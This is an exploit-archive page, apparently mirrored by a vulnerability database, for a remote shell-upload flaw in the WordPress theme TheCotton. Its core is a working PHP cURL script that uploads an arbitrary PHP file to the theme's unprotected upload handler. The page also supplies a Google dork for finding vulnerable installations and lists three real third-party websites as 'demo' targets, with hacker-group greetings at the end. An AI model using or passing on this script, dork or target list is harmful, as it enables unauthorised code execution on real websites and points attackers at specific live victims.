Lucene search
K

WordPress TheCotton Shell Upload

🗓️ 03 Mar 2014 00:00:00Reported by IeDbType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

WordPress TheCotton Shell Upload Vulnerability discovered by Iranian Exploit DataBase, version 1.1

Code
`#################################  
#  
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@  
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@   
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@   
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@   
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@  
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@  
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@  
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@  
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@  
#  
#####################################  
  
# Exploit Title : WordPress thecotton Themes Remote File Upload Vulnerability  
  
# Author : Iranian Exploit DataBase  
  
# Discovered By : IeDb  
  
# Email : [email protected] - [email protected]  
  
# Home : Www.IeDb.Ir/acc - Www.IrIsT.Ir  
  
# Fb Page : https://www.facebook.com/iedb.ir  
  
# Version : 1.14  
  
# Security Risk : Low  
  
# Google dork: inurl:/wp-content/themes/thecotton_v114/  
  
#################################  
  
# Exploit  
  
<?php  
$uploadfile="IeDb.php";  
$ch = curl_init("http://127.0.0.1/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php");  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,  
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$postResult = curl_exec($ch);  
curl_close($ch); print "$postResult";  
?>  
  
http://127.0.0.1/wordpress/wp-content/uploads/2014/2/upload.php  
  
# Demo :  
  
http://www.centronavarro.org/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php  
http://www.rsvphingham.com/wp/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php  
http://serdara.com/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php  
  
#################################  
  
# Greats : Medrik - Bl4ck M4n - ErfanMs - TaK.FaNaR - F@riD - N20 - Bl4ck N3T - 0x0ptim0us - 0Day  
  
# E2MA3N - l4tr0d3ctism - H-SK33PY - sole sad - r3d_s0urc3 - Dr_Evil - z3r0 - Mr.Zer0 - one alone hacker  
  
# DICTATOR - dr.koderz - E1.Coders - Security - ARTA - ARYABOD - Behnam Vanda - C0dex - Dj.TiniVini  
  
# Det3cT0r - yashar shahinzadeh And All Members In IeDb.Ir/acc  
  
#################################  
  
# Tnx To : All Member In Iedb.ir/acc & Iranian Hackers  
  
#################################  
  
# Exploit Archive = http://www.iedb.ir/exploits-1451.html  
  
#################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation